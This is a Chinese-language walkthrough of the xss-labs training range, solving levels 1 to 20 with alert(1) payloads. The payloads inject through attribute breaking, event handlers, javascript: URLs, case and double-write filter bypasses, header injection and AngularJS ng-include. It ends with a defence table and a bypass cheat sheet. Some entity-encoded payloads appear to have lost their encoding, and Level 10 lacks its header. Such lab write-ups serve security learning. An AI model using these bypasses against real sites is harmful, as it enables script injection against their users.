靶场地址:http://localhost/xss-labs/
环境:phpStudy Pro (PHP 7.3.4 + Apache 2.4.39)
通关日期:2024-12-01
确认机制:alert() 被覆盖为 confirm("完成的不错!"),自动跳转下一关
Level 1 — 无过滤直接注入
- 参数:
?name= (GET)
- 过滤:无
- 输出:
<h2> 标签内,原始 HTML 上下文
- Payload:
?name=<script>alert(1)</script>
Level 2 — 闭合双引号属性
- 参数:
?keyword= (GET)
- 过滤:
<h2> 用了 htmlspecialchars(),但 <input value="..."> 没用
- 输出:
<input value="'.$str.'">
- Payload:
?keyword="><script>alert(1)</script>
Level 3 — htmlspecialchars 不转义单引号
- 参数:
?keyword= (GET)
- 过滤:
htmlspecialchars()(默认 ENT_COMPAT:转义 " & < >,不转义 ')
- 输出:
<input value='...'> 单引号属性
- Payload:
?keyword=' autofocus onfocus='alert(1)
Level 4 — 去 <> 后用事件属性
- 参数:
?keyword= (GET)
- 过滤:
str_replace(">","") + str_replace("<",""),去掉尖括号
- 输出:
<input value="...">,双引号未被过滤
- Payload:
?keyword=" autofocus onfocus="alert(1)
- 关键点:没有
<> 建不了新标签,用 " 闭合属性后加事件处理器。
Level 5 — on 和 script 被替换
- 参数:
?keyword= (GET)
- 过滤:
strtolower() + 替换 <script → <scr_ipt、on → o_n
- 输出:
<input value="...">,双引号未被过滤
- Payload:
?keyword="><iframe src=javascript:alert(1)>
- 关键点:
iframe 不含 on/script 子串,javascript: 协议不需要 <script> 标签。
Level 6 — 大小写绕过
- 参数:
?keyword= (GET)
- 过滤:无
strtolower()!大小写敏感地替换 on→o_n、src→sr_c、href→hr_ef、data→da_ta
- 输出:
<input value="...">
- Payload:
?keyword="><IMG SRC=x ONERROR=alert(1)>
- 关键点:PHP 的
str_replace 大小写敏感,大写 ON ≠ on。
Level 7 — 双写绕过
- 参数:
?keyword= (GET)
- 过滤:
strtolower() + str_replace("keyword","") — 删除(非替换),script/on/src/data/href 被清空
- 输出:
<input value="...">
- Payload:
?keyword="><img ssrcrc=1 oonnerror=alert(1)>
- 关键点:单次删除不递归。
ssrcrc 删中间的 src 后剩 src,oonnerror 删中间的 on 后剩 onerror。
Level 8 — HTML 实体编码绕过
- 参数:
?keyword= (GET)
- 过滤:
strtolower() + 替换 script/on/src/data/href + str_replace('"','"')
- 输出:
<a href="...">友情链接</a>
- Payload:
?keyword=javascript:alert(1)
- 关键点:PHP 过滤的是原始字符串,看不到
s = s;浏览器在 href 中先 HTML 解码再执行,识别出 javascript:alert(1)。
Level 9 — 绕过 http:// 检查
- 参数:
?keyword= (GET)
- 过滤:同 Level 8 +
strpos($str7,'http://') 必须存在
- 输出:
<a href="...">友情链接</a>
- Payload:
?keyword=javascript:alert(1)//http://
- 关键点:
// 在 JS 里是注释,//http:// 被引擎忽略;PHP 检出 http:// 存在即放行。
- 参数:
?t_sort= (GET)
- 过滤:去掉
<>,无引号过滤
- 输出:
<input name="t_sort" type="hidden" value="'.$str33.'">
- Payload:
?t_sort=" type="text" onfocus="alert(1)" autofocus="
- 关键点:
type="hidden" 不可聚焦,用 " 闭合 value 后加 type="text" + onfocus + autofocus。
Level 11 — HTTP Referer 注入
- 参数:HTTP
Referer 请求头
- 过滤:仅去掉
<>
- 输出:
<input name="t_ref" value="...">
- Payload:
Referer: " type="text" onfocus="alert(1)" autofocus="
- 关键点:
$_SERVER['HTTP_REFERER'] 可控,仅过滤 <>。
Level 12 — HTTP User-Agent 注入
- 参数:HTTP
User-Agent 请求头
- 过滤:仅去掉
<>
- 输出:
<input name="t_ua" value="...">
- Payload:
User-Agent: " type="text" onfocus="alert(1)" autofocus="
Level 13 — HTTP Cookie 注入
- 参数:Cookie
user
- 过滤:仅去掉
<>
- 输出:
<input name="t_cook" value="...">
- Payload:
Cookie: user=" type="text" onfocus="alert(1)" autofocus="
Level 14 — EXIF XSS ⚠️(外部站点)
- 参数:无(页面嵌套 iframe)
- 过滤:N/A
- 输出:嵌入
http://www.exifviewer.org/(已失效)
- Payload:上传含 EXIF XSS 的图片到外部站点,EXIF 字段(如
Artist、ImageDescription)内含 <script>alert(1)</script>
- 状态:外部站点已失效,属概念性通关。
Level 15 — AngularJS ng-include 注入
- 参数:
?src= (GET)
- 过滤:
htmlspecialchars()(不转义 = 与 URL 字符)
- 输出:
<span class="ng-include:'.htmlspecialchars($str).'">,页面加载 angular.min.js
- Payload:
?src='level1.php?name=<script>alert(1)</script>'
- 关键点:
ng-include 会请求并嵌入指定 URL 的内容;htmlspecialchars 不编码 URL 字符、也不转义单引号,Angular 取回 level1.php(无过滤)的内容后执行。
Level 16 — 换行符绕过空格过滤
- 参数:
?keyword= (GET)
- 过滤:
strtolower() + 替换 script/空格///\t 为
- 输出:
<center> 内直接输出
- Payload:
?keyword=<img%0Dsrc=x%0Donerror=alert(1)>
- 关键点:用
%0D(CR)或 %0C(换页)代替空格,HTML 解析器视其为空白;PHP 只过滤了普通空格与 \t。
Level 17 — embed 无引号 src(xsf01.swf)
- 参数:
?arg01= ?arg02= (GET)
- 过滤:
htmlspecialchars()(不转义空格)
- 输出:
<embed src=xsf01.swf?A=B width=100% heigth=100%> — 无引号
- Payload:
?arg01=x onclick=alert(1)&arg02=x
- 关键点:
src 无引号,属性以空格分隔,注入的 onclick=alert(1) 被解析为 embed 事件属性。
Level 18 — embed 无引号 src(xsf02.swf)
- 参数:
?arg01= ?arg02= (GET)
- 过滤:
htmlspecialchars()(不转义空格)
- 输出:
<embed src=xsf02.swf?A=B ...> — 无引号
- Payload:
?arg01=x onclick=alert(1)&arg02=x
- 关键点:同 Level 17,仅 SWF 文件不同。
Level 19 — embed 双引号 src(xsf03.swf)⚠️ Flash
- 参数:
?arg01= ?arg02= (GET)
- 过滤:
htmlspecialchars() 转义 "
- 输出:
<embed src="xsf03.swf?A=B" width=100% heigth=100%> — 双引号保护
- Payload:需构造 SWF flashvar——
arg01 设为 SWF 内接收的 flashvar 名,arg02 设为 javascript:alert(1)
- 状态:Flash 已废弃、SWF 无法在现代浏览器执行;原通关方式需反编译 xsf03.swf 找 flashvar 参数名。
Level 20 — embed 双引号 src(xsf04.swf)⚠️ Flash
- 参数:
?arg01= ?arg02= (GET)
- 过滤:
htmlspecialchars() 转义 "
- 输出:
<embed src="xsf04.swf?A=B" ...> — 双引号保护
- Payload:同 Level 19,针对 xsf04.swf 的 flashvar 参数
防御总结
| 防御方法 | 效果 |
|---|
htmlspecialchars($str, ENT_QUOTES) | 转义 " ' < > & — 覆盖大部分场景 |
| 上下文感知输出 | JS 里用 json_encode(),URL 里用 urlencode() |
| CSP(Content-Security-Policy) | 禁用 inline script,从源头阻断 |
| HttpOnly Cookie | 防 Cookie 窃取(减轻但不能防 XSS) |
| 输入验证 + 白名单 | 对特定字段(如 URL、数字)做格式校验 |
绕过技巧速查
| 场景 | 技巧 |
|---|
过滤 <script> | <img src=x onerror=...> <svg onload=...> <iframe src=javascript:...> |
过滤 on* | javascript: 伪协议 |
过滤 < > | 事件属性注入(autofocus onfocus=) |
| 过滤关键字 | 大小写混用、双写、HTML 实体编码 s |
| 过滤空格 | 换行 %0a 回车 %0d 换页 %0c 斜杠 / |
| 过滤双引号 | 单引号属性绕过 htmlspecialchars(ENT_COMPAT) |
| AngularJS | ng-include 远程包含 |
| 隐藏 input | 改 type="text" + autofocus |
| HTTP 头注入 | Referer、User-Agent、Cookie |